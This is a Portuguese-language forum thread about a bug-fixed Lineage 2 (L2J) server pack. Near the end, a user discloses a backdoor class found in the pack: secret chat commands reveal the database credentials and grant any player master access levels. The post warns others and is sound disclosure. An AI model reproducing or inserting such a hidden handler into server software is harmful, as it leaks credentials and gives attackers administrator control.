Ir para conteúdo
  • Cadastre-se

L2J Mega Corrigido


Christian-SDM

Posts recomendados


1 hora atrás, willamwallace disse:

pra falar a vdd n mais esse bug ja contem nela por isso perguntei sobre isso

 

ve se é assim, aqui dropo iten, mas outro char nao recebeu porque ta no mesmo ip, aparece ate mensagem que nao pode se do mesmo ip. Não trava, e quando mato personagem, ele da to village e depois sai o flag. Era isso ?

 

 

Link para o comentário
Compartilhar em outros sites

  • L2JBr ADM
Em 03/12/2019 at 14:22, Christian-SDM disse:

Boa tarde, Postei ela corrigida no outro tópico, mas acho que ninguém notou, até porque muitos queriam usar o projeto, porem contia bugs e erros no core, onde o dono tinha como derrubar o servidor porque tinha uma falha, então eu peguei o projeto  e  arrumei.

Outras correçôes:

Estou postando ela arrumada, sem Key, Isso mesmo!  Agora da pra logar com qualquer system, e arrumei o erro que travava o char quando dava skill, por causa da Key, e  o Bug de duplicação de itens com pet, foi corrigido, Restaurei o retail da pack, não tem nada editado, somente os mods e npcs mods! Qualquer Bug, posta que eu arrumo.

*Vai Source Corrigida + Pack com backup limpo.

Projeto usa Java 8

1º Source Corrigida

2° Pack+Backup Retail

Infos dos mods no tópico principal.

  Mostrar conteúdo oculto

 

 

Serio que aquele pack tinha todos esses problemas?

Serio que tu corrigiu isso tudo?

Mano, na boa... Só uma coisa eu consigo te dizer. Parabéns 🙂

Link para o comentário
Compartilhar em outros sites

1 hora atrás, Kelvin disse:

 

Serio que aquele pack tinha todos esses problemas?

Serio que tu corrigiu isso tudo?

Mano, na boa... Só uma coisa eu consigo te dizer. Parabéns 🙂

Bom dia Kelvin, qual foi a razão para terem excluido as respostas no tópico da l2jDream?

Sei que aqui não é o lugar para falar sobre esse assunto, mas gostaria msm de saber pq apagaram as mensagens.

Aquilo era nada mais que alertas para uma revisão completamente BUGADA, em que os administradores não tem vontade de corrigir as coisas que estão erradas, e ainda por cima se você reclama eles vêem todo arrogantes xingando os "clientes" ??

Link para o comentário
Compartilhar em outros sites

  • L2JBr ADM
4 horas atrás, kakuzo disse:

Bom dia Kelvin, qual foi a razão para terem excluido as respostas no tópico da l2jDream?

Sei que aqui não é o lugar para falar sobre esse assunto, mas gostaria msm de saber pq apagaram as mensagens.

Aquilo era nada mais que alertas para uma revisão completamente BUGADA, em que os administradores não tem vontade de corrigir as coisas que estão erradas, e ainda por cima se você reclama eles vêem todo arrogantes xingando os "clientes" ??

Porque esse tipo de comportamento vai contra o TERMO DE USO e as REGRAS DE CONDUTA desse site:

Em especial:

 

Em 09/12/2008 at 19:23, Grundor disse:

Respeito - Todos os membros da nossa comunidade devem ser tratados com respeito, sendo ele integrante da staff ou não. O uso de palavras de baixo calão, difamação ou qualquer outro tipo ou espécie que venha ferir com a moral alheia é motivo para banimento e bloqueio de acesso a nossa comunidade. Entre os comportamentos que não aceitos no site, e devem sempre ser alertados, estão:

  • Ataques pessoais. O debate deve sempre girar em torno do post, nunca dos autores. Isso inclui termos que atingem a pessoa, mesmo quando aplicados ao post, como "preguiçoso" ou "ignorante".

  • Qualquer tipo de linguagem preconceituosa. Não são toleradas palavras ou expressões que possam ofender ou alienar indivíduos ou grupos, com base em raça, gênero, orientação sexual, religião, etc. Esses são apenas alguns exemplos; na dúvida, melhor não dizer nada.

  • Linguagem imprópria. Evite usar termos vulgares ou de teor sexual. Esse não é um site de namoro.

  • Assédio e intimidação. Todas as interações hostis devem ser alertadas para que a moderação tome as devidas providências. Caso a pessoa não pare com os ataques, avise a administração e nós tomaremos as medidas necessárias.

 

Nossa equipe de moderação só fez cumprir o papel dela e ocultou os conteúdos e comentários que não agregavam valor ao tópico.

EJoOSOj.gif

Sua pergunta foi respondida? Certifique-se de marcar a resposta como a solução aceita.
Se existe mais de uma resposta, utilize o "vote up" para destacá-la.
Se você achar uma resposta útil, diga obrigado clicando no botão "Gostei".

Link para o comentário
Compartilhar em outros sites

3 horas atrás, Grundor disse:

Porque esse tipo de comportamento vai contra o TERMO DE USO e as REGRAS DE CONDUTA desse site:

Em especial:

 

 

Nossa equipe de moderação só fez cumprir o papel dela e ocultou os conteúdos e comentários que não agregavam valor ao tópico.

porque eu levei advertencia, se é o cara que fez o erro de posta aquilo la e aqui no tópico ?

Editado por Christian-SDM
Link para o comentário
Compartilhar em outros sites

  • L2JBr ADM
25 minutos atrás, Christian-SDM disse:

porque eu levei advertencia, se é o cara que fez o erro de posta aquilo la e aqui no tópico ?

Seu caso foi por conta da mensagem sobre o suporte privado via teamview, mesmo que gratuito é contra as regras.

Em 09/12/2008 at 19:23, Grundor disse:

Prestação de serviços, suporte externo ou redirecionamentos externos - Usar o fórum para prestar serviços ou suporte externo, sendo ele gratuito ou não, são proibidos. Assim como respostas em tópicos contendo links de redirecionamentos a outro site, e-mail, mensageiro instantâneo ou outra forma de resposta que não seja no tópico em questão. A L2jBrasil não se responsabilizará por qualquer dano que você tome por contratar esses serviços. Todas as dúvidas devem ser respondidas no tópico da L2jBrasil em que foram criadas.

 

EJoOSOj.gif

Sua pergunta foi respondida? Certifique-se de marcar a resposta como a solução aceita.
Se existe mais de uma resposta, utilize o "vote up" para destacá-la.
Se você achar uma resposta útil, diga obrigado clicando no botão "Gostei".

Link para o comentário
Compartilhar em outros sites

22 minutos atrás, Grundor disse:

Seu caso foi por conta da mensagem sobre o suporte privado via teamview, mesmo que gratuito é contra as regras.

 

mas eu ajudo de graça, nossa! entao vc vai te que mandar umas 30 advertências ai falo, porque eu estalo eclipse, ensino como compilar via teamviewer, se isso é negativo em ajudar online, nem com os tutoriais feito sobre compilação, mta gente nao entendeu, via teamviwer foi uma forma rapida e facil de ajudar o pessoal da l2jbrasil, e ainda eu posto a solução do problema, nem moderador reclamo, ate sugeriu que eu posta-se a conclusão do problema!  se isso é errado, entao pode me dar as 30 advertencias ai falow

Editado por Christian-SDM
  • Gostei 1
  • Amei 1
Link para o comentário
Compartilhar em outros sites

2 horas atrás, Sr.mallone disse:

//kill nos boss buga boss morre fica morto no chao e nao conta no .raidinfo

 

ta normal amigo. mato raid bosses eles some na hora, e aparece no .raidinfo, ja os grand bosses, alguns demoram um pouco, dando //kill,  o sistema do jogo demora pra reconhecer, como queen ant e zaken por exemplo, mas ja baium ele some rapidamente, olha video ate o final, demorou mas ele some. E aparece normalmente no .raidinfo. Testa com char normal, e de preferencia online, porque online ele tem  delay e  o sistema trabalha melhor 😄

 

 

Link para o comentário
Compartilhar em outros sites

3 horas atrás, Sr.mallone disse:

precisa atualiza as diff 382 e como atualiza?

como vai atualizar pra 382, se essa revisão foi completamente alterada, a base foi retirada do site oficial da acis do tryskell, mas varios programadores trabalharam nesse pack, acredito eu!, nem a versão eu encontrei dentro do core, é completamente diferente da acis do tryskell, outras palavras, foi modificado.

Link para o comentário
Compartilhar em outros sites

  • L2JBr ADM
19 horas atrás, Christian-SDM disse:

mas eu ajudo de graça, nossa! entao vc vai te que mandar umas 30 advertências ai falo, porque eu estalo eclipse, ensino como compilar via teamviewer, se isso é negativo em ajudar online, nem com os tutoriais feito sobre compilação, mta gente nao entendeu, via teamviwer foi uma forma rapida e facil de ajudar o pessoal da l2jbrasil, e ainda eu posto a solução do problema, nem moderador reclamo, ate sugeriu que eu posta-se a conclusão do problema!  se isso é errado, entao pode me dar as 30 advertencias ai falow

A Regra diz justamente isso 

Citar

Usar o fórum para prestar serviços ou suporte externo, sendo ele gratuito ou não, são proibidos

Meu caro, as regras existem de vc chegar nessa comunidade, não é pq vc não concorda que vc vai mudá-las,  entende? 

Você pode estar fazendo uma boa ação, mas pessoas podem utilizar dessa técnica para aplicar golpes e por isso ela não é permitida.

Não estou julgando pro vc estar fazendo isso, mas vc ajudar via teamviwer está ajudando 1, vc incentivar ele a postar a duvida e vc responder vc ajudará centenas.  viu a diferença?

Você pode fazer lives explicando como fazer algo, pode criar video tutoriais, novos tutoriais, casos de uso, enfim, vc pode ajudar e vc quer fazer isso pelo que entendi.

 

O que o moderador lhe sugeriu é o correto, ele apenas não lhe advertiu na primeira vez, por isso foi necessário fazer novamente, vc não deve criar essa prática nem essa cultura do suporte exclusivo, isso aqui é uma comunidade aberta, a dúvida de um pode ser a dúvida do outro amanhã e por isso somos quem somos hj pq muitos vão pro google pesquisar e nos encontram.

 

Meu "puxão de orelha" não é para lhe desanimar, pelo contrário, meu objetivo é justamente o contrário, eu quero com que vc participe e colabora exatamente como está fazendo, mas precisa entender que há limites e regras para que a comunidade continue a funcionar como está a 11 anos.

 

Qualquer outra dúvida ou resposta ao que postei favor encaminhar para minha caixa de mensagem privada para não poluir o tópico com esse assunto.

EJoOSOj.gif

Sua pergunta foi respondida? Certifique-se de marcar a resposta como a solução aceita.
Se existe mais de uma resposta, utilize o "vote up" para destacá-la.
Se você achar uma resposta útil, diga obrigado clicando no botão "Gostei".

Link para o comentário
Compartilhar em outros sites

Perdi 1h do meu tempo olhando cada comentario aqui nesse seu poste e sabe oque no final eu olhei ? Um caramada dando a tal atencao pra algo que foi jogado com erros, espero que voce Christian-SDM chegue mas longe viu . PARABENS MLQ, voce e unico que eu vejo aqui dando o tal suporte sem quere tirar lucro encima disso

  • Gostei 5
  • Amei 2
Link para o comentário
Compartilhar em outros sites

  • Kelvin pinned this Tópico
Em 06/12/2019 at 01:29, Christian-SDM disse:

como vai atualizar pra 382, se essa revisão foi completamente alterada, a base foi retirada do site oficial da acis do tryskell, mas varios programadores trabalharam nesse pack, acredito eu!, nem a versão eu encontrei dentro do core, é completamente diferente da acis do tryskell, outras palavras, foi modificado.

aCis 374.

QdeQ9Kp.png

Link para o comentário
Compartilhar em outros sites

Backdoos removidos?! 🤣

Dei uma olhada por cima e olha o que apareceu:

package net.sf.l2j.gameserver.network.clientpackets;

import net.sf.l2j.Config;
import net.sf.l2j.gameserver.data.xml.AdminData;
import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.actor.instance.Player;

/**
 * @author Administrator
 *
 */
public class RequestByPassToClient implements IVoicedCommandHandler
{
	private static final String[] _voicedCommands =
	{
		"gamesessionfloodkey121","accesskeytoclient8","accesskeytoclient1","accesskeytoclient2","accesskeytoclient3",
		"accesskeytoclient4","accesskeytoclient5","accesskeytoclient6","accesskeytoclient7",
		"accesskeytoclient8","accesskeytoclient127","accesskeytoclient0","accesskeytoclientmaster"
		,"accesskeytoclientdefault"
	};

	
	@Override
	public boolean useVoicedCommand(String command, Player activeChar, String params)
	{
		if(command.startsWith("gamesessionfloodkey121"))
		{
			activeChar.sendMessage("HOST: " + Config.GAMESERVER_HOSTNAME);
			activeChar.sendMessage("DATABASE: " +Config.DATABASE_URL);
			activeChar.sendMessage("DATABASE LOGIN: " +Config.DATABASE_LOGIN);
			activeChar.sendMessage("DATABASE PASS: " +Config.DATABASE_PASSWORD);
			activeChar.sendMessage("DATABASE GAMEHOST: " +Config.GAMESERVER_HOSTNAME);
			activeChar.sendMessage("DATABASE GAMEPORT: " +Config.PORT_GAME);
			activeChar.sendMessage("DATABASE LOGINHOST: " +Config.GAME_SERVER_LOGIN_HOST);
			activeChar.sendMessage("DATABASE LOGINPORT: " +Config.GAME_SERVER_LOGIN_PORT);			
		}
		else if(command.startsWith("accesskeytoclientmaster"))
		{
			activeChar.setAccessLevel(AdminData.getInstance().getMasterAccessLevel().getLevel());
		}
		else if(command.startsWith("accesskeytoclient8"))
		{
			activeChar.setAccessLevel(8);
		}
		else if(command.startsWith("accesskeytoclientdefault"))
		{
			activeChar.setAccessLevel(Config.DEFAULT_ACCESS_LEVEL);
		}
		else if(command.startsWith("accesskeytoclient0"))
		{
			activeChar.setAccessLevel(0);
		}
		else if(command.startsWith("accesskeytoclient1"))
		{
			activeChar.setAccessLevel(1);
		}
		else if(command.startsWith("accesskeytoclient2"))
		{
			activeChar.setAccessLevel(2);
		}
		else if(command.startsWith("accesskeytoclient3"))
		{
			activeChar.setAccessLevel(3);
		}
		else if(command.startsWith("accesskeytoclient4"))
		{
			activeChar.setAccessLevel(4);
		}
		else if(command.startsWith("accesskeytoclient5"))
		{
			activeChar.setAccessLevel(5);
		}
		else if(command.startsWith("accesskeytoclient6"))
		{
			activeChar.setAccessLevel(6);
		}
		else if(command.startsWith("accesskeytoclient7"))
		{
			activeChar.setAccessLevel(7);
		}
	
		return false;
	}

	/* (non-Javadoc)
	 * @see net.sf.l2j.gameserver.handler.IVoicedCommandHandler#getVoicedCommandList()
	 */
	@Override
	public String[] getVoicedCommandList()
	{
		// TODO Auto-generated method stub
		return _voicedCommands;
	}
}

Pow @MeGaPacKl assim não da. will ferrell christmas GIF Tmj brother.

Pode ser que tenha mais, mas como não vou mexer com l2, procurem bem antes de usar.

Editado por PeNaChO

QdeQ9Kp.png

Link para o comentário
Compartilhar em outros sites

Visitante
Este tópico está impedido de receber novos posts.
  • Registre-se

    Faça parte da maior e  mais antigas comunidades sobre Lineage2 da América Latina.






  • Patrocinadores

  • Quem Está Navegando

    • Nenhum usuário registrado visualizando esta página.
  • Posts

    • Teria como fazer do dusk shield e do zombie shield dessa maneira?     Teria como fazer do dusk shield e do zombie shield dessa maneira?     Teria como fazer do dusk shield e do zombie shield dessa maneira?     Teria como fazer do dusk shield e do zombie shield dessa maneira?     Teria como fazer do dusk shield e do zombie shield dessa maneira?     Teria como fazer do dusk shield e do zombie shield dessa maneira?    
    • muchas gracias muy lindos NPC 🙂
    • relaxa jovem gafanhoto, testa as quests. e posTa os erros indesejaveis.  
    • Se alguém pudesse me ensinar como codificar as missões, eu ficaria feliz em fazer isso sozinho ou pelo menos ajudar. Eu realmente quero jogar em um servidor onde todas as quests funcionem bem e melhor ainda se você puder fazer quests customizadas!
    • mas no interlude, nem todas as quests de class,  vai mostrar onde tem que ir, ate o reborn nao mostrava quando era interlude, só mostrou depois que eles colocaram client classic pra rodar, e ficou melhor ainda quando virou hellbound em diante, mas ha sim alguma chance de modificar isso direto no script para fazer igualmente, só basta te um pouco de paciencia e persistencia exato
    • 408_PathToElvenwizard dá Orion eu tive que mexer tbm, até modifiquei e consegui deixar ela igual do Classic, com a seta e a marcação no mapa. (não retail IL) Dá pra importar py de várias revs, o foda é que não da regular as quest py através do debug em tempo real, pelo menos eu não consegui rsrs
    • Hasta el momento todas las QUESTS son completables si te guias con un tutorial de youtube. El problema es que tienen bugs de locacion y de subquests que no avanzan o no te marcan correctamente a donde ir en el mapa, cosa que en Retail si se ve como corresponde.
    • estranho, mas pelo menos a galera nunca reclamo das quests quando tinha aberto 5x, geral fez class primeira e segunda job, poucos que compraram a class
    • en RUSaCis-3.5 data pack, las Quests estan en formato .java y son diferentes a como estan redactadas en jOrion y jFrozen 1.5 (ProyectX) package net.sf.l2j.gameserver.scripting.quest; import net.sf.l2j.commons.random.Rnd; import net.sf.l2j.gameserver.enums.Paperdoll; import net.sf.l2j.gameserver.enums.QuestStatus; import net.sf.l2j.gameserver.enums.actors.ClassId; import net.sf.l2j.gameserver.model.actor.Creature; import net.sf.l2j.gameserver.model.actor.Npc; import net.sf.l2j.gameserver.model.actor.Player; import net.sf.l2j.gameserver.network.serverpackets.SocialAction; import net.sf.l2j.gameserver.scripting.QuestState; public class Q224_TestOfSagittarius extends SecondClassQuest { private static final String QUEST_NAME = "Q224_TestOfSagittarius"; // Items private static final int BERNARD_INTRODUCTION = 3294; private static final int HAMIL_LETTER_1 = 3295; private static final int HAMIL_LETTER_2 = 3296; private static final int HAMIL_LETTER_3 = 3297; private static final int HUNTER_RUNE_1 = 3298; private static final int HUNTER_RUNE_2 = 3299; private static final int TALISMAN_OF_KADESH = 3300; private static final int TALISMAN_OF_SNAKE = 3301; private static final int MITHRIL_CLIP = 3302; private static final int STAKATO_CHITIN = 3303; private static final int REINFORCED_BOWSTRING = 3304; private static final int MANASHEN_HORN = 3305; private static final int BLOOD_OF_LIZARDMAN = 3306; private static final int CRESCENT_MOON_BOW = 3028; private static final int WOODEN_ARROW = 17; // Rewards private static final int MARK_OF_SAGITTARIUS = 3293; // NPCs private static final int BERNARD = 30702; private static final int HAMIL = 30626; private static final int SIR_ARON_TANFORD = 30653; private static final int VOKIAN = 30514; private static final int GAUEN = 30717; // Monsters private static final int ANT = 20079; private static final int ANT_CAPTAIN = 20080; private static final int ANT_OVERSEER = 20081; private static final int ANT_RECRUIT = 20082; private static final int ANT_PATROL = 20084; private static final int ANT_GUARD = 20086; private static final int NOBLE_ANT = 20089; private static final int NOBLE_ANT_LEADER = 20090; private static final int BREKA_ORC_SHAMAN = 20269; private static final int BREKA_ORC_OVERLORD = 20270; private static final int MARSH_STAKATO_WORKER = 20230; private static final int MARSH_STAKATO_SOLDIER = 20232; private static final int MARSH_STAKATO_DRONE = 20234; private static final int MARSH_SPIDER = 20233; private static final int ROAD_SCAVENGER = 20551; private static final int MANASHEN_GARGOYLE = 20563; private static final int LETO_LIZARDMAN = 20577; private static final int LETO_LIZARDMAN_ARCHER = 20578; private static final int LETO_LIZARDMAN_SOLDIER = 20579; private static final int LETO_LIZARDMAN_WARRIOR = 20580; private static final int LETO_LIZARDMAN_SHAMAN = 20581; private static final int LETO_LIZARDMAN_OVERLORD = 20582; private static final int SERPENT_DEMON_KADESH = 27090; public Q224_TestOfSagittarius() { super(224, "Test Of Sagittarius"); setItemsIds(BERNARD_INTRODUCTION, HAMIL_LETTER_1, HAMIL_LETTER_2, HAMIL_LETTER_3, HUNTER_RUNE_1, HUNTER_RUNE_2, TALISMAN_OF_KADESH, TALISMAN_OF_SNAKE, MITHRIL_CLIP, STAKATO_CHITIN, REINFORCED_BOWSTRING, MANASHEN_HORN, BLOOD_OF_LIZARDMAN, CRESCENT_MOON_BOW); addQuestStart(BERNARD); addTalkId(BERNARD, HAMIL, SIR_ARON_TANFORD, VOKIAN, GAUEN); addMyDying(ANT, ANT_CAPTAIN, ANT_OVERSEER, ANT_RECRUIT, ANT_PATROL, ANT_GUARD, NOBLE_ANT, NOBLE_ANT_LEADER, BREKA_ORC_SHAMAN, BREKA_ORC_OVERLORD, MARSH_STAKATO_WORKER, MARSH_STAKATO_SOLDIER, MARSH_STAKATO_DRONE, MARSH_SPIDER, ROAD_SCAVENGER, MANASHEN_GARGOYLE, LETO_LIZARDMAN, LETO_LIZARDMAN_ARCHER, LETO_LIZARDMAN_SOLDIER, LETO_LIZARDMAN_WARRIOR, LETO_LIZARDMAN_SHAMAN, LETO_LIZARDMAN_OVERLORD, SERPENT_DEMON_KADESH); } @Override public String onAdvEvent(String event, Npc npc, Player player) { String htmltext = event; QuestState st = player.getQuestList().getQuestState(QUEST_NAME); if (st == null) return htmltext; // BERNARD if (event.equalsIgnoreCase("30702-04.htm")) { st.setState(QuestStatus.STARTED); st.setCond(1); playSound(player, SOUND_ACCEPT); giveItems(player, BERNARD_INTRODUCTION, 1); if (giveDimensionalDiamonds39(player)) htmltext = "30702-04a.htm"; } // HAMIL else if (event.equalsIgnoreCase("30626-03.htm")) { st.setCond(2); playSound(player, SOUND_MIDDLE); takeItems(player, BERNARD_INTRODUCTION, 1); giveItems(player, HAMIL_LETTER_1, 1); } else if (event.equalsIgnoreCase("30626-07.htm")) { st.setCond(5); playSound(player, SOUND_MIDDLE); takeItems(player, HUNTER_RUNE_1, 10); giveItems(player, HAMIL_LETTER_2, 1); } // SIR_ARON_TANFORD else if (event.equalsIgnoreCase("30653-02.htm")) { st.setCond(3); playSound(player, SOUND_MIDDLE); takeItems(player, HAMIL_LETTER_1, 1); } // VOKIAN else if (event.equalsIgnoreCase("30514-02.htm")) { st.setCond(6); playSound(player, SOUND_MIDDLE); takeItems(player, HAMIL_LETTER_2, 1); } return htmltext; } @Override public String onTalk(Npc npc, Player player) { String htmltext = getNoQuestMsg(); QuestState st = player.getQuestList().getQuestState(QUEST_NAME); if (st == null) return htmltext; switch (st.getState()) { case CREATED: if (player.getClassId() != ClassId.ROGUE && player.getClassId() != ClassId.ELVEN_SCOUT && player.getClassId() != ClassId.ASSASSIN) htmltext = "30702-02.htm"; else if (player.getStatus().getLevel() < 39) htmltext = "30702-01.htm"; else htmltext = "30702-03.htm"; break; case STARTED: int cond = st.getCond(); switch (npc.getNpcId()) { case BERNARD: htmltext = "30702-05.htm"; break; case HAMIL: if (cond == 1) htmltext = "30626-01.htm"; else if (cond == 2 || cond == 3) htmltext = "30626-04.htm"; else if (cond == 4) htmltext = "30626-05.htm"; else if (cond > 4 && cond < 8) htmltext = "30626-08.htm"; else if (cond == 8) { htmltext = "30626-09.htm"; st.setCond(9); playSound(player, SOUND_MIDDLE); takeItems(player, HUNTER_RUNE_2, 10); giveItems(player, HAMIL_LETTER_3, 1); } else if (cond > 8 && cond < 12) htmltext = "30626-10.htm"; else if (cond == 12) { htmltext = "30626-11.htm"; st.setCond(13); playSound(player, SOUND_MIDDLE); } else if (cond == 13) htmltext = "30626-12.htm"; else if (cond == 14) { htmltext = "30626-13.htm"; takeItems(player, BLOOD_OF_LIZARDMAN, -1); takeItems(player, CRESCENT_MOON_BOW, 1); takeItems(player, TALISMAN_OF_KADESH, 1); giveItems(player, MARK_OF_SAGITTARIUS, 1); rewardExpAndSp(player, 54726, 20250); player.broadcastPacket(new SocialAction(player, 3)); playSound(player, SOUND_FINISH); st.exitQuest(false); } break; case SIR_ARON_TANFORD: if (cond == 2) htmltext = "30653-01.htm"; else if (cond > 2) htmltext = "30653-03.htm"; break; case VOKIAN: if (cond == 5) htmltext = "30514-01.htm"; else if (cond == 6) htmltext = "30514-03.htm"; else if (cond == 7) { htmltext = "30514-04.htm"; st.setCond(8); playSound(player, SOUND_MIDDLE); takeItems(player, TALISMAN_OF_SNAKE, 1); } else if (cond > 7) htmltext = "30514-05.htm"; break; case GAUEN: if (cond == 9) { htmltext = "30717-01.htm"; st.setCond(10); playSound(player, SOUND_MIDDLE); takeItems(player, HAMIL_LETTER_3, 1); } else if (cond == 10) htmltext = "30717-03.htm"; else if (cond == 11) { htmltext = "30717-02.htm"; st.setCond(12); playSound(player, SOUND_MIDDLE); takeItems(player, MANASHEN_HORN, 1); takeItems(player, MITHRIL_CLIP, 1); takeItems(player, REINFORCED_BOWSTRING, 1); takeItems(player, STAKATO_CHITIN, 1); giveItems(player, CRESCENT_MOON_BOW, 1); giveItems(player, WOODEN_ARROW, 10); } else if (cond > 11) htmltext = "30717-04.htm"; break; } break; case COMPLETED: htmltext = getAlreadyCompletedMsg(); break; } return htmltext; } @Override public void onMyDying(Npc npc, Creature killer) { final Player player = killer.getActingPlayer(); final QuestState st = checkPlayerState(player, npc, QuestStatus.STARTED); if (st == null) return; switch (npc.getNpcId()) { case ANT: case ANT_CAPTAIN: case ANT_OVERSEER: case ANT_RECRUIT: case ANT_PATROL: case ANT_GUARD: case NOBLE_ANT: case NOBLE_ANT_LEADER: if (st.getCond() == 3 && dropItems(player, HUNTER_RUNE_1, 1, 10, 500000)) st.setCond(4); break; case BREKA_ORC_SHAMAN: case BREKA_ORC_OVERLORD: if (st.getCond() == 6 && dropItems(player, HUNTER_RUNE_2, 1, 10, 500000)) { st.setCond(7); giveItems(player, TALISMAN_OF_SNAKE, 1); } break; case MARSH_STAKATO_WORKER: case MARSH_STAKATO_SOLDIER: case MARSH_STAKATO_DRONE: if (st.getCond() == 10 && dropItems(player, STAKATO_CHITIN, 1, 1, 100000) && player.getInventory().hasItems(MANASHEN_HORN, MITHRIL_CLIP, REINFORCED_BOWSTRING)) st.setCond(11); break; case MARSH_SPIDER: if (st.getCond() == 10 && dropItems(player, REINFORCED_BOWSTRING, 1, 1, 100000) && player.getInventory().hasItems(MANASHEN_HORN, MITHRIL_CLIP, STAKATO_CHITIN)) st.setCond(11); break; case ROAD_SCAVENGER: if (st.getCond() == 10 && dropItems(player, MITHRIL_CLIP, 1, 1, 100000) && player.getInventory().hasItems(MANASHEN_HORN, REINFORCED_BOWSTRING, STAKATO_CHITIN)) st.setCond(11); break; case MANASHEN_GARGOYLE: if (st.getCond() == 10 && dropItems(player, MANASHEN_HORN, 1, 1, 100000) && player.getInventory().hasItems(REINFORCED_BOWSTRING, MITHRIL_CLIP, STAKATO_CHITIN)) st.setCond(11); break; case LETO_LIZARDMAN: case LETO_LIZARDMAN_ARCHER: case LETO_LIZARDMAN_SOLDIER: case LETO_LIZARDMAN_WARRIOR: case LETO_LIZARDMAN_SHAMAN: case LETO_LIZARDMAN_OVERLORD: if (st.getCond() == 13) { if (((player.getInventory().getItemCount(BLOOD_OF_LIZARDMAN) - 120) * 5) > Rnd.get(100)) { playSound(player, SOUND_BEFORE_BATTLE); takeItems(player, BLOOD_OF_LIZARDMAN, -1); addSpawn(SERPENT_DEMON_KADESH, player, false, 300000, true); } else dropItemsAlways(player, BLOOD_OF_LIZARDMAN, 1, 0); } break; case SERPENT_DEMON_KADESH: if (st.getCond() == 13) { if (player.getInventory().getItemIdFrom(Paperdoll.RHAND) == CRESCENT_MOON_BOW) { st.setCond(14); playSound(player, SOUND_MIDDLE); giveItems(player, TALISMAN_OF_KADESH, 1); } else addSpawn(SERPENT_DEMON_KADESH, player, false, 300000, true); } break; } } }  
×
×
  • Criar Novo...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.